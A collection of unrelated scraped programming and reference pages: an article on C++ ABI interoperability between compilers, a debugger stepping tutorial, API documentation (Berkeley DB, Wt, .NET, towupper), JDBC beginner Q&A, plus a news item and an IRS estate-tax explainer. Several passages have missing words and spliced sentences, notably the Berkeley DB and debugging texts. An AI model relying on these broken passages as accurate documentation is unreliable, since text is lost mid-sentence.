In addition to the C requirements, C++ interoperability requires that interoperable compilers implement the same C++ object model. The C++ object model has received a lot less coverage than most C++ application programming issues. A detailed description of C++ object models is provided in Stanley Lippman's Inside the C++ Object Model [1]. In general, a C++ object model defines the following:
- Name-mangling conventions. Interoperable C++ compilers must mangle external names the same way so that symbols generated by one compiler can be referenced in code generated by another compiler.
- Object layout issues not addressed by the C ABI. This includes the location of the virtual function pointer, representation of multiple inheritance, and representation of virtual inheritance.
- The format and naming convention for any tables required to resolve virtual function addresses or members of virtual bases. This includes the virtual function table.
- The interface to the C++ language support runtime. The C++ Standard provides a library API intended to be referenced by users. The C++ language support runtime interface is one or more libraries containing entry points referenced by the compiler to implement C++ features. C++ features requiring runtime support include C++ exception handling, RTTI, stack unwinding, operator new, operator delete, and construction/destruction of static objects. The routines and data structures comprising the C++ language support runtime are described in the C++ ABI. Figure 1 illustrates the relationship between a C++ compiler, C++ Standard Library, and C++ language support runtime. An example of a C++ object model specification is contained in the Itanium C++ ABI [2].
Interoperable C++ compilers must also support template instantiation mechanisms that can work with each other. If one compiler requires a prelinking phase while the other compiler emits all instantiations and expects the linker to eliminate duplicates, link-time conflicts will likely result. Template instantiation alternatives are described in C++ Templates: The Complete Guide, by David Vandevoorde and Nicolai M. Josuttis [3].
It is also desirable to make sure that other external files generated by the compilers are compatible or do not interfere with each other. For example, if two compilers support precompiled headers and output differently formatted files using the same file naming convention, the application build will take longer. This is because the precompiled header files will keep conflicting and need to be regenerated. If the precompiled header file formats are different, the compilers should have different file-naming conventions. The situation is similar for source browser files.
Why C++ Interoperability Can Be Achieved Today
When a new platform is developed, it is traditional for the owner of the platform to specify the C ABI. Any compiler vendor developing a C compiler for that platform would then conform to that ABI. However, the C++ ABI is traditionally specified by the compiler vendor. This means that each C++ compiler for a given platform implements a different C++ object model. As a result, C++ interoperability between two compilers is a rare occurrence.
A few years ago, a consortium of compiler vendors realized that C++ interoperability could not happen with this model of development. The result of this consortium was the C++ ABI described in [2]. The first implementation of this ABI was for the Intel Itanium processor. Implementations of this ABI have also been done for the Pentium, ARM, and other processors by multiple C++ compiler vendors. The C++ ABI has also been endorsed by the Linux Standard Base (LSB) for use with C++ compilers on Linux systems.
Additionally, test suites have been developed to measure conformance to the C++ ABI [6]. These suites check that the code generated by the C++ compiler conforms to the C++ ABI specification.
The availability of multiple C++ compilers that conform to the C++ ABI has presented another validation opportunity. It is now possible to generate tests that are partially compiled by two C++ ABI-conformant compilers and compare the results. This approach finds problems that the conformance suites might miss, or finds issues in areas the conformance suites do not address.
The techniques I've described here have been used to create two compilers that conform to the C++ ABI and have established interoperability with each other. The Intel Compilers for the Pentium and Itanium families can interoperate with GCC 3.2 and its current successors on Linux platforms [7]. This demonstrates that C++ interoperability can indeed become a reality.
The existence of the C++ ABI represents a movement from compiler-specific C++ ABI specifications to a platform-specific ABI specification, as was done in [5]. The availability of conforming compilers and conformance suites allows the conformance levels of C++ compilers to be measured. Therefore, we have reached a point in the evolution of C++ where C++ interoperability can achieve the availability that C interoperability has enjoyed for years.
The Benefits of C++ Interoperability
C++ interoperability provides a significant benefit to many vendors in the C++ market. The fact that object files generated by different C++ compilers can be linked together to form an executable image that runs correctly creates several opportunities.
- The C++ Language Support Runtime can be shared between compilers. A C ABI for a particular platform includes a description of the call stack. That document can be expanded to include C++ runtime constructs such as the exception-handling unwind mechanism. It could also include the functional interface and data structures required for the other language support items. (See [5] for an example of such a specification.)
- Libraries can be shared between compilers. Third-party vendors, including vendors of the C++ Standard Library, will not have to provide different versions of their runtime libraries for each C++ compiler. Compiler vendors no longer have to work with several library vendors to make sure library versions for their compilers are available. Library vendors no longer have to support several versions of their libraries for a given platform. Users no longer have to be concerned about which compiler built a library they purchased.
- Users can use more than one compiler when building their application. If users have a portion of their application that is performance sensitive, they could choose to build that part with a high-performance compiler and build the rest of the application with a different compiler. Additionally, users can migrate to a new compiler gradually.
- Debuggers and other tools relying on the C++ object model will work with objects generated by different compilers without retooling. In theory, these tools should use a format that does not make C++ object model assumptions, but such assumptions occasionally creep into implementations. If all C++ compilers are making the same assumptions, these tools continue to work.
Conclusion
C compilers have been interoperable with each other for years. With the development of the C++ ABI specification [2] and the broad support it has received, interoperable C++ compilers have become a reality. C++ interoperability will benefit compiler vendors, third-party C++ vendors, and C++ users for years to come.
References
[1] Lippman, Stanley B., Inside the C++ Object Model, Addison-Wesley, 1996. ISBN 0-201-83454-5.
[2] Itanium C++ ABI,.
[3] Vandevoorde, David and Nicolai M. Josuttis, C++ Templates: The Complete Guide, Addison-Wesley, 2003. ISBN 0-201-73484-2.
[4] "Itanium Software Conventions and Runtime Architecture Reference Guide,".
[5] Application Binary Interface for the ARM Architecture, EABI/bsabi.pdf.
[6] C++ ABI Test Suite,.
[7] Intel Compilers for Linux: Compatibility with GNU Compilers,.
Joe Goodman is a member of the Compiler Lab at Intel. He has been working with C++ compilers for over 10 years. Joe can be contacted at joe.goodman@intel.com.
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An introduction to debugging
Programming is difficult, and there are a lot of ways to make mistakes. As you learned in the section on handling errors, there are two primary types of errors: syntax errors and semantic errors.
A syntax error occurs when you write a statement that is not valid according to the grammar of the C++ language. This happens a lot through typos or accidental omission of keywords or symbols that C++ is expecting. Fortunately, the compiler will generally catch syntax errors and generate warnings or errors so you know what the problem is.
Once your program is compiling correctly, getting it to actually produce the result(s) you want can be tricky. A semantic error occurs when a statement is syntactically valid, but does not do what the programmer intended. Unfortunately, the compiler will not be able to catch these types of problems, because it only knows what you wrote, not what you intended.
Fortunately, that’s where the debugger comes in. A debugger is a computer program that allows the programmer to control how a program executes and watch what happens as it runs. be from Microsoft Visual Studio 2005 Express, you should have little trouble figuring out how to access each feature we discuss no matter which development environment you are using.:
#include <iostream>
void PrintValue(int nValue)
{
std::cout << nValue;
}
int main()
{
PrintValue(5);
return 0;
}
As you know, when running a program, execution begins with a call to main(). Because we want to debug main(), let’s begin by using the “step into” command.
In Visual Studio 2005 Express, go to the debug menu and choose “Step Into”, or press F11.
If you are using a different IDE, find the “Step Into” command in the menus and choose it.
When you do this, two things should happen. First, a console output window should open. It will be empty because we haven’t output anything to it function call to PrintValue().
This means the next line that will be executed is the call to PrintValue(). Choose “step into” again. Because PrintValue() was a function call, we “stepped into” the function, and the arrow should be at the top of the PrintValue() code.
Choose “step into” to execute the opening brace of PrintValue().
At this point, the arrow should be pointing to std::cout << nValue;.
std::cout << nValue;
Choose “step into” again, and you should see that the value 5 appears in the output window.
Choose “step into” again to execute the closing brace of” twice more. At this point, we have executed all the lines in our program, so we are done. Some debuggers will terminate the debugging session automatically. Visual Studio 2005 Express does not, so choose “Stop Debugging” from the debug menu. This will terminate your debugging session (and can be used at any point in the debugging process to do so).
Step over
Like “step into”, The step over command executes the next line of code. If this line is a function call, step over silently executes the function and returns control after the function has been executed. when it is finished.
Step over provides a convenient way to skip functions when you are sure they already work or do not need to be debugged.
Step out
Unlike the other two stepping commands, step out does not execute the next line of code. Instead, it executes the rest:
First, choose “step into” to enter debugging mode. Second, put your cursor on the std::cout << nValue; line inside of PrintValue(). Third, choose the “run to cursor” debug command. In Visual Studio 2005 Express,, you can do this by right clicking and choosing “run to cursor”.
You will notice the arrow indicating the line that will be executed next moves to the line you just selected. Your program executed up to this point and is now waiting for your further debugging commands.
Run
It is also possible to tell the debugger to run until it hits the end of the program. will see a new type of icon appear:
Start a new debugging session and let’s see what the breakpoint does.
First, choose “Step into” to start your debugging session. Then choose the run command (may be called “Continue” or “Go”)..
[...] A.4 — Debugging your program (stepping and breakpoints) [...] ]
[...] 4: Debug it! You can find information on how to debug programs in appendix A, specifically sections A.4 and [...]
[...] A.4 — Debugging your program (stepping and breakpoints) [...]
[...] 4: Debug it! You can find information on how to debug programs in appendix A, specifically sections A.4 and A.5. You will probably find the debugging sections more comprehensible after reading a few more [...]
hi dears
Please I need help.
I am using code blocks 10.05 and my program become so big and some arrays values changes during execution without assigning any values, so I am nearly sure that I need to make auto-range checking while my program works but I do not know how ,pls tell me how to add this to my program or making it by CB debugger .
Thanks a lot
[...] it! You can find information on how to debug programs in appendix A, specifically sections A.4 and A.5. You will probably find the debugging sections more comprehensible after reading a few [...]
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Main Page Modules Namespace List Class Hierarchy Alphabetical List Compound List File List Compound Members File Members
BdbMetaDataStringIter Class Reference
[BdbTrees]
#include <BdbMetaDataStringIter.hh>
List of all members.
Constructor & Destructor Documentation
Member Function Documentation
Member Data Documentation
The documentation for this class was generated from the following file:
- /BdbTrees/BdbMetaDataStringIter.hh
BaBar Public Site | SLAC | News | Links | Who's Who | Contact Us
Page Owner: Jacek Becla
Last Update: October 04, 2002
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#include <db.h>
int DB->get(DB *db, DB_TXN *txnid, DBT *key, DBT *data, u_int32_t flags); int DB->pget(DB *db, DB_TXN *txnid, DBT *key, DBT *pkey, DBT *data, u_int32_t flags);
The DB->get function retrieves key/data pairs from the database. The addressursor->c_get for details.
When called on a database that has been made into a secondary index using the DB->associate function, the DB->get and DB->pget functions return the key from the secondary index and the data item from the primary database. In addition, the DB->pget function returns the key from the primary database. In databases that are not secondary indices, the DB->pget interface will always fail and return EINVAL.
If the operation is to be transaction-protected, the txnid parameter is a transaction handle returned from_GET_BOTH flag with the DB->get version of this interface and a secondary index handle.
The data field of the specified key must be a pointer to a logical record number (that is, a db_recno_t). This record number determines the record to be retrieved.
For_MULTIPLE flag may only be used alone, or with the DB_GET_BOTH and DB_SET_RECNO options. The DB_MULTIPLE flag may not be used when accessing databases made into secondary indices using the DB->associate function.
See DB_MULTIPLE_INIT for more information.
Because the DB->get interface will not hold locks across Berkeley DB interface calls in non-transactional environments, the DB_RMW flag to the DB->get call is meaningful only in the presence of transactions.
If the database is a Queue or Recno database and the specified key exists, but was never explicitly created by the application or was later deleted, the DB->get function returns DB_KEYEMPTY.
Otherwise, if the specified key is not in the database, the DB->get function returns DB_NOTFOUND.
Otherwise, the DB->get function returns a non-zero error value on failure and 0 on success.
The DB->get function may fail and return a non-zero error for the following conditions:
A record number of 0 was specified.
The DB_THREAD flag was specified to the DB->open function and none of the DB_DBT_MALLOC, DB_DBT_REALLOC or DB_DBT_USERMEM flags were set in the DBT.
The DB->pget interface was called with a DB handle that does not refer to a secondary index.
The DB->get function may fail and return a non-zero error for errors specified for other Berkeley DB and C library or system functions. If a catastrophic error has occurred, the DB->get function may fail and return DB_RUNRECOVERY, in which case all subsequent Berkeley DB calls will fail in the same way.
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http://doc.gnu-darwin.org/api_c/db_get.html
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Hi Andrew,My automatic scripts accidentally sent this mail prematurely. Please holdoff applying yet.Thanks,Miketravis> > Based on: 2.6.24-rc8-mm1> > Signed> > V area> > V1->V2:> - Add support for specifying attributes for per cpu declarations (preserves> IA64 model(small) attribute).> - Drop first patch that removes the model(small) attribute for IA64> - Missing #endif in powerpc generic config / Wrong Kconfig> - Follow Randy's suggestions on how to do the Kconfig settings>
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12 June 2007 04:43 [Source: ICIS news]
By Nurul Darni
KUALA LUMPUR (ICIS news)--Iran is still keen on forming a joint venture with India to run an olefins project, a senior Iranian company official said late on Monday.
"We have plans for some years now to do a petrochemicals joint venture with ?xml:namespace>
He didn't give a timeframe as to when talks over such a joint venture will be completed, but said "discussions have been underway."
Indian Oil Corp (IOC) was said to be the likely joint venture candidate, by acquiring a stake in an existing facility. IOC has plans to expand its presence in the petrochemicals business through building large ethylene capacities.
Among some of its projects are a 120,000 tonne/year linear alkylbenzene (LAB) plant in
Meanwhile, talks between
The plan provides for 60 million cubic metres of gas to be exported daily to
"The delivery point would be at the Iran-Pakistan border," he said. "As soon as they finish this contract, we can have everything done."
Huge reserves of natural gas.
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http://www.icis.com/Articles/2007/06/12/9036536/interview+iran+eyes+olefins+jv+with+india.html
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Main Page | Modules | Namespace List | Class Hierarchy | Class List | File List | Namespace Members | Class Members | File Members | Related Pages
BatchIPCConnection Class Referenceclass for communication between different PTBatcherGUI instances More...
#include <PTBatcherGUI.h>
Detailed Descriptionclass for communication between different PTBatcherGUI instances
this class is used to transfer the commandline parameters of the second instance of PTBatcherGUI to the first and only running instance of PTBatcherGUI
Member Function Documentation
The documentation for this class was generated from the following files:
- hugin1/ptbatcher/PTBatcherGUI.h
- hugin1/ptbatcher/PTBatcherGUI.cpp
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What Happens after Estate Form 706 Is Complete?
8 of 8 in Series: The Essentials of Completing the Estate Tax Return (Form 706)
The IRS will issue Letter 627, Estate Tax Closing Letter if it accepts your estate tax return (Form 70) as filed, or if you and the IRS reach an agreement after a 706 audit. The closing letter, although not a formal agreement, shows the IRS’s final determination of estate tax. But both the IRS and the estate’s executor can reopen a case under certain circumstances, even after the closing letter is received.
After issuing Letter 627, the IRS isn’t likely to reopen the case, but it retains the option if evidence of fraud, malfeasance, collusion, concealment, or misrepresentation of a material fact surfaces.
The IRS may also reopen a case if it discovers a clearly defined substantial error based on an established IRS position existing at the time of the previous examination (if it realizes it missed something it clearly should have caught), or if other circumstances exist that indicate failure to reopen would be a serious administrative omission.
An executor may reopen a case if the period for assessment (three years from the filing of the 706, and six years from filing if unreported assets constitute 25 percent or more of the gross estate stated in the return as filed) hasn’t expired.
You want to reopen a case if you subsequently discover assets of the decedent. You may also file a claim for refund.
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http://www.dummies.com/how-to/content/what-happens-after-estate-form-706-is-complete.navId-323702.html
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how
retrieve the value from database into dropdown list using JDBC SQL 2005 How to retrieve the value from database into dropdown list using JDBC &...");
Connection connect = DriverManager.getConnection("jdbc:mysql://localhost import java.sql.*;
public class MysqlConnect{
public static void main(String[] args) {
System.out.println("MySQL Connect Example.");
what is ment by jdbc and how to connect with database?
what is ment by jdbc and how to connect with database? i want answer for this question
Mysql & java - JDBC
to connect to mysql 5.1 using java. But it shows error about: Class.forName...) {
System.out.println("MySQL Connect Example.");
Connection conn = null;
String url = "jdbc:mysql://localhost:3306/";
String dbName
jdbc - JDBC
in a database
System.out.println("MySQL Connect Example.");
Connection conn = null;
String url = "jdbc:mysql://localhost:3306/";
String dbName...jdbc how to get tablecount in jdbc hai frnd...
wat do u
JDBC
JDBC How to connect JAVA Servlet with the database
jdbc
how to connect JSP page to database - JDBC how to connect JSP page to database ?give program
Database Connection - JDBC
Database Connection In java How will be connect Database through JDBC? Hi Friend,
Please visit the following link:
Thanks
database connectivity - JDBC
database connectivity example java code for connecting Mysql database using java Hi friend,
Code for connecting Mysql database using... main(String[] args) {
System.out.println("MySQL Connect Example
jdbc how to display database contents?
import java.sql....();
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost... information, visit the following link:
JDBC Tutorials
jdbc mysql - JDBC
=DriverManager.getConnection("jdbc:mysql://localhost:3306/ram","root","root...,password);
System.out.println("Connect to database!");
try...jdbc mysql import java.sql.*;
public class AllTableName
JDBC
JDBC How to fetch values from database based on dropdown list selection?
import java.sql.*;
import java.awt.*;
import java.util.... =
= selection?
public class Swapping{
static void swap(int i,int j){
int...("com.mysql.jdbc.Driver");
Connection con = DriverManager.getConnection("jdbc:mysql
install mysql - JDBC
install mysql i want to connect with mysql database.can i install mysql on local system
please send me link how download mysql Hi friend,
MySQL is open source database and you can download and install it on your
Connectivity with sql in detail - JDBC
unable to connect the sql with Java. Please tell me in detail that how to connect...) {
System.out.println("MySQL Connect Example.");
Connection conn = null;
String url = "jdbc:mysql://localhost:3306/";
String dbName
Connect JSP with mysql
;
This query creates database 'usermaster' in
Mysql.
Connect JSP with mysql :
Now in the following jsp code, you will see
how to connect... with specified mysql database :
Output of the program when unable to
connect
jdbc - JDBC
in JSP to create a table.
2)how desc can be written in JDBC concepts ...) {
System.out.println("Inserting values in Mysql database table!");
Connection con = null;
String url = "jdbc:mysql://localhost:3306/";
String db
JDBC - JDBC
JDBC how can i do jdbc through oracle..
pls if u can send me d...("oracle.jdbc.driver.OracleDriver");
3) Connect to database:***********
a) If you....
thanking u
santosh. Hi Friend,
Use JDBC with Oracle
j2ee - JDBC
and then use JDBC api to connect to MySQL database.
Following two tutorials shows how to connect to MySQL database: how to connect jsp to mysql
Hi,
Thanks - JDBC
("jdbc:mysql://localhost:3306/ram","root","root");
System.out.println("Connect to database!");
try
{
DatabaseMetaData dbm = con.getMetaData... name in Database!");
System.out.println("Welcome");
try
how to connect jdbc
how to connect jdbc package com.tcs.ilp.Try.Controller;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import
Connect JSP with mysql
you how to connect to
MySQL database from your JSP code. First, you need... database in my sql command prompt)
2. Connect JSP with mysql: ... with specified mysql database :
Output of the program when unable to
connect to specified
exception at runtime - JDBC
java.sql.*;
public class MysqlConnect
{
public static void main(String args[])
{
System.out.println("MySQL Connect Example.");
Connection con = null;
String url = "jdbc:mysql://localhost:3306/";
String dbName = "bank";
String runtime exception - JDBC
java.sql.*;
public class MysqlConnect
{
public static void main(String args[])
{
System.out.println("MySQL Connect Example.");
Connection con = null;
String url = "jdbc:mysql://localhost:3306
jdbc
jdbc please tell me sir.i dont know JDBC connection and how to create table in database
how to connect jsp to mysql - Java Beginners
how to connect jsp to mysql I m new in Mysql and JSP i m... me hw to conncet jsp with mysql
this is connection file
package connect... =DriverManager.getConnection("jdbc:mysql://localhost:3306/rsdatabase","root
jdbc insert
into a mysql table through jdbc. how to insert that. help me with query... thanks...();
Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root... to connect to database
JDBC Training, Learn JDBC yourself
will learn how to connect the MySQL database
with Java file. We need to establish...
JDBC Connection Pooling
Accessing Database
using Java and JDBC
Learn how... with MySQL
JDBC
MySQL Tutorial
JDBC Tutorials with MySQL Database...[] args) {
System.out.println("Inserting values in Mysql database table!");
Connection con = null;
String url = "jdbc:mysql://localhost:3306/";
String db
connect jdbc to an Excel spreadsheet
connect jdbc to an Excel spreadsheet hello,
How can I connect to an Excel spreadsheet file using jdbc?
Hello Friend,
Connection conn = DriverManager.getConnection("jdbc:odbc:excel
Use JDBC to connect Microsoft Access
Use JDBC to connect Microsoft Access How to use JDBC to connect Microsoft Access Components
below describes how to run the JDBC program with MySql.
JDBCExample.java... Database Connectivity. For connectivity with the
database we uses JDBC.... JDBC gives you the opportunity to communicate with standard
database. JDBC
jdbc
jdbc how to update int values of ms-access in jdbc program?
In MS Access database, use Number data type for int values.
import... =DriverManager.getConnection("jdbc:odbc:access","","");
Statement st=null;
Using Network Address To Connect to a Database
to connect a MySql database with your application over a
network then you must load...
.style1 {
text-align: center;
}
How To Use Network Address To Connect... no of that database.
The default port no of MySql database is 3306 and default host
jdbc
how i can access Microsoft Access database by java program how i can access Microsoft Access database by java program ?
if any package or jar file required then please specify it.
please give java source code for such
mysql problem - JDBC
mysql problem hai friends
please tell me how to store the videos in mysql
plese help me as soon as possible
thanks in advance
... = "jdbc:mysql://localhost:3306/test";
Connection con=null;
try...;Hi Friend,
Please visit the following page for working example of MySQL backup. This may help you in solving your problem.
java error - JDBC
?
import java.sql.*;
public class MysqlConnect{
public static void main(String[] args) {
System.out.println("MySQL Connect Example.");
Connection conn = null;
String url = "jdbc:mysql://localhost:3306/";
String dbName
how to connect to database in php using mysql
how to connect to database in php using mysql how to connect to database in php using mysql
Help on JDBC and my SQL 5 database - JDBC
the connection
c = DriverManager.getConnection
("jdbc:mysql...(sql1);
how to create a if and else statement for JDBC :
if a word from a Jtextfield (txtSearch.getText()) match with mySQL database field
how to connect xlsx(2007 excel) - JDBC
how to connect xlsx(2007 excel) i am not able connect to office 2007 excel file from jdbc
MYSQL and SERVLETS - JDBC
MYSQL and SERVLETS I did addition ,deletion of data in mysql using servlets .I do not know that how to combine these two programs into a single... .How I can do using servlets
Hi friend,
For developing a simple
jdbc - JDBC
jdbc Hi,
Could you please tell me ,How can we connect to Sql server through JDBC.
Which driver i need to download.
Thank You Hi Friend,
Please visit the following code:
Connecting to remote mysql server using jdbc.
Connecting to remote mysql server using jdbc. How to Connect to remote mysql server using jdbc
JDBC Connectivity - JDBC
JDBC Connectivity my question is how to connect a Java program with MS-Access database? Hello
Use this code
import java.sql....
String filename = "d:/java/mdbTEST.mdb";
String database = "jdbc
jdbc mysqll - JDBC
("com.mysql.jdbc.Driver");
Connection con=DriverManager.getConnection("jdbc:mysql...";
String url = "jdbc:mysql://192.168.10.211:3306/";
String dbName = "amar...=DriverManager.getConnection(url+dbName,userName,password);
System.out.println("Connect to database
JDBC - JDBC
vendors are adding JDBC technology-based drivers to their existing database...explanation of JDBC drivers Need tutorial on JDBC driversThanks! Hello,There are four types of JDBC drivers. There are mainly four type
mysql jdbc connectivity
mysql jdbc connectivity i want to connect retrieve data from mysql using jdbc
add record to database - JDBC
();
String url = "jdbc:mysql://localhost:3306/";
String db = "register...add record to database How to create program in java that can save record in database ? Hi friend,
import java.io.*;
import java.sql.
Simple JDBC Example
;
}
Simple JDBC Example
To connect java application to the database we do....
At first create table named student in MySQL database inset values... application to MySQL
database
MySQLConnect.java
import java.sql.Connection
jdbc - JDBC
jdbc What is the difference b/w jdbc driver and jdbc driver manager? Hello Freind
See There are lot of database vender existing. So... in turn to try to connect to the target URL
for more details visit sun site
java database error - JDBC
java database error hi all i am writing one swing application where i want to insert data into database(MS-Access) but dont know how to do...("sun.jdbc.odbc.JdbcOdbcDriver");
Connection connect =DriverManager.getConnection("jdbc:odbc to do connectivity with SQL Server and MS Access in java... String url =
"jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=D:\\Database\\mydb.mdb;}";
public static void main(String[] args) throws
Connecting JTable to database - JDBC
interface in which i have used JTables..
Now my problem is I dont know how to how to store this JTable content in my database table..
This is a very important...("sun.jdbc.odbc.JdbcOdbcDriver");
Connection connect =DriverManager.getConnection
jdbc - JDBC
");
3) Connect to database:***********
a) If you are using oracle oci driver...jdbc kindly give the example program for connecting oracle dase...*;
import oracle.jdbc.driver.*;
import oracle.sql.*;
2) Load and Register the JDBC
JDBC - Java Database Connectivity Tutorial
In this section, you will learn how to connect the MySQL database
with Java file... Java and JDBC
Learn how to access database using JDBC.
Enhanced... table. This section describes how to create a MySQL database
table that stores
jdbc - JDBC
main(String[]args){
try{
Connection con = null;
String url = "jdbc:mysql...();
Connection con = DriverManager.getConnection(
"jdbc:mysql://localhost:3306/test... the database...
Hi Friend,
It seems that you haven't inserted any
JDBC - JDBC
");
con = DriverManager.getConnection("jdbc:mysql://192.168.10.211...JDBC How the ResultSet displays the data (in the form of rows...://
jdbc - JDBC
jdbc how to fetch the database tables in a textfiles,by using databasemetadata&resultset.(i create a databaseconnection class and servlet class iam... information.
JDBC - Java Beginners
JDBC How to connect to mysql database from an applets or GUI components (on J2SE) using Eclipse
jdbc - JDBC
= null;
String url = "jdbc:mysql://localhost:3306/";
String dbName... primary key
solve this problem.. how to drop and delete values from table....
Thanks
java - JDBC
java how to get connectoin to database server from mysql through java programme Hi Friend,
Please visit the following link for more detailed information
mysql_connect arguments
mysql_connect arguments How many arguments a mysql_connection function required to connect to the database?
?mysql_connect? function...
And if the given arguments are correct it will connect to the database and print
connection - JDBC
connection how to connect server pages to mysql Hi Friend,
To learn how to connect MySql to JSP, please visit the following link:
use properties file to connect to the database in jsp..
use properties file to connect to the database in jsp.. How to use properties file to connect jsp code with database ..........
Here...");
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost
java - JDBC
java how can i connect jdbc with oracle 9i.please give detailed procedure. Hi Friend,
Use JDBC with Oracle
Follow these steps:
1...("oracle.jdbc.driver.OracleDriver");
3) Connect to database:***********
a) If you are using oracle oci
Prepared statement JDBC MYSQL
Prepared statement JDBC MYSQL How to create a prepared statement in JDBC using MYSQL? Actually, I am looking for an example of prepared statement.
Selecting records using prepared statement in JDBC
error - JDBC
,i got a errors
d:temp> java DBConnect
db Connect Example...(String[] args) {
System.out.println("db Connect Example.");
Connection conn = null;
String url = "jdbc:oracle:thin:@localhost:1521:xe";
String
JDBC Database URLs
of database you want to connect .Example-jdbc,
oracle, Mysql. While "... database should be connect to
database using these URL strings. Format of JDBC URL...JDBC Database URLs
In this Section, We will discuss about following topics
how to connect to MS access database in JSP?
how to connect to MS access database in JSP? how to connect to MS access database in JSP? Any seetings/drivers need to be set or installed before... = DriverManager.getConnection("jdbc:odbc:student");
Statement st=con.createStatement
Ask Questions?
If you are facing any programming issue, such as compilation errors or not able to find the code you are looking for.
Ask your questions, our development team will try to give answers to your questions.
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I'm trying to build a project using:
- Code: Select all
{
"shell": "True",
"cmd": ["rosmake"],
"working_dir":"/home/user/directory"
}
Here is the error encountered:
Traceback (most recent call last):
File "/opt/ros/fuerte/bin/rosmake", line 40, in <module>
import rosmake
ImportError: No module named rosmake
[Finished in 0.1s with exit code 1]
My guess is that since sublime is based on python, it is somehow interfering in the build process.
Any help would be greatly appreciated.
Thank You
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http://www.sublimetext.com/forum/viewtopic.php?f=3&t=10317
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A paint device for rendering to a PDF. More...
#include <Wt/WPdfImage>
A paint device for rendering to a PDF.
A WPdfImage paint device should be used in conjunction with a WPainter, and can be used to make a PDF version of a WPaintedWidget's contents.
The PDF is generated using The Haru Free PDF Library, and this class is included in the library only if
libharu was found during the build of the library.
You can use the image as a resource and specialize handleRequest() to paint the contents on the fly. Alternatively can also use write() to serialize to a PDF file (std::ostream). The latter usage is illustrated by the code below:
Wt::Chart::WCartesianChart *chart = ... Wt::WPdfImage pdfImage("4cm", "3cm"); { Wt::WPainter p(&pdfImage); chart->paint(p); } std::ofstream f("chart.pdf", std::ios::out | std::ios::binary); pdfImage.write(f);
A constructor is provided which allows the generated PDF image to be embedded directly into a page of a larger
libharu document, and this approach is used for example by the WPdfRenderer to render XHTML to multi-page PDF files.
Font information is embedded in the PDF. Fonts supported are native PostScript fonts (Base-14) (only ASCII-7), or true type fonts (Unicode). See addFontCollection() for more information on how fonts are located and matched to WFont descriptions.
This paint device has the following limitations:
Create a PDF resource that represents a single-page PDF document.
The single page will have a size
width x
height. The PDF will be using the same DPI (72dpi) as is conventionally used for the desktop.
The passed width and height (such as 4 cm by 3 cm) can be specified in physical units (e.g. 4cm x 3cm), but this will be converted to pixels using the default DPI used in CSS (96dpi) !
Create a PDF paint device to paint inside an existing page.
The image will be drawn in the existing page, as an image with lower-left point (
x,
y) and size (
width x
height).
Adds a font collection.
If Wt has been configured to use
libpango, then font matching and character selection is done by libpango, which is seeded with information on installed fonts by fontconfig. In that case, invocations for this method is ignored. Only TrueType fonts are supported, and thus you need to configure fontconfig (which is used by pango) to only return TrueType fonts. This can be done using a fonts.conf configuration file:
<?xml version='1.0'?> <!DOCTYPE fontconfig SYSTEM 'fonts.dtd'> <fontconfig> <selectfont> <rejectfont> <glob>*.pfb</glob> </rejectfont> </selectfont> </fontconfig>You may need to add more glob patterns to exclude other fonts than TrueType, and also to exclude TrueType fonts which do not work properly with libharu.
If Wt has not been configured to use
libpango, then this method may be used to indicate the location of TrueType). TrueType fonts are preferable over Base-14 fonts (which are PDF's default fonts) since they provide partial (or complete) unicode support.
When using Base-14 fonts, WString::narrow() will be called on text which may result in loss of information.
Finishes painting on the device.
This method is called when a WPainter stopped painting.
Implements Wt::WPaintDevice.
Draws an arc.
The arc is defined as in WPainter::drawArc(const WRectF& rectangle, int startAngle, int spanAngle).
Implements Wt::WPaintDevice.
Returns font metrics.
This returns font metrics for the current font.
Throws a std::logic_error if the underlying device does not provide font metrics.
Implements Wt::WPaintDevice..
Implements Wt::WResource..
Returns the device width.
The device width, in pixels, establishes the width of the device coordinate system.
Implements Wt::WPaintDevice.
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http://www.webtoolkit.eu/wt/doc/reference/html/classWt_1_1WPdfImage.html
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ToBase64Transform Class
.NET Framework 1.1
Converts a CryptoStream to base 64.
For a list of all members of this type, see ToBase64Transform Members.
System.Object
System.Security.Cryptography.ToBase64Transform
[Visual Basic] Public Class ToBase64Transform Implements ICryptoTransform, IDisposable [C#] public class ToBase64Transform : ICryptoTransform, IDisposable [C++] public __gc class ToBase64Transform : public ICryptoTransform, IDisposable [JScript] public class ToBase64Transform implements ICryptoTransform, IDisposable
Thread Safety
Any public static (Shared in Visual Basic) members of this type are thread safe. Any instance members are not guaranteed to be thread safe.
Remarks
Base 64 Content-Transfer-Encoding represents arbitrary bit sequences in a form that is not human readable.
Requirements
Namespace: System.Security.Cryptography
Platforms: Windows 98, Windows NT 4.0, Windows Millennium Edition, Windows 2000, Windows XP Home Edition, Windows XP Professional, Windows Server 2003 family
Assembly: Mscorlib (in Mscorlib.dll)
See Also
ToBase64Transform Members | System.Security.Cryptography Namespace | Cryptographic Services
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http://msdn.microsoft.com/en-us/library/system.security.cryptography.tobase64transform(d=printer,v=vs.71)
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towupper - transliterate lower-case wide-character code to upper-case
#include <wctype.h> wint_t towupper(wint_t wc);
The towupper()upper() represents a lower-case wide-character code, and there exists a corresponding upper-case wide-character code (as defined by character type information in the program locale category LC_CTYPE), the result is the corresponding upper-case wide-character code. All other arguments in the domain are returned unchanged.
Upon successful completion, towupper() returns the upper-case letter corresponding to the argument passed. Otherwise it returns the argument unchanged.
No errors are defined.
None.
None.
None.
setlocale(), <wctype.h>, <wchar.h>, the XBD specification, Locale .
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http://pubs.opengroup.org/onlinepubs/7990989775/xsh/towupper.html
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In this tutorial we will learn how delete specific row from the table use mysql JDBC driver.This tutorial defined how one or more specific row delete from table that follow any given condition. If any datrabase or table not exist first create and enter record to the table.
We follow the steps in "DeleteRow.java"
class that given step by step as:
1.Import the packages
2.Register the JDBC driver
3.Open a connection
4.Execute a query
Mysql query "DELETE FROM user where user_id=1 " that delete the user's row which "user_id=1".If delete row then count deleted row and display output "Deleted specific row in the table successfully..." another display error message "Not exist specific row that you select for delete". The code of "DeleteRow.java" class is:
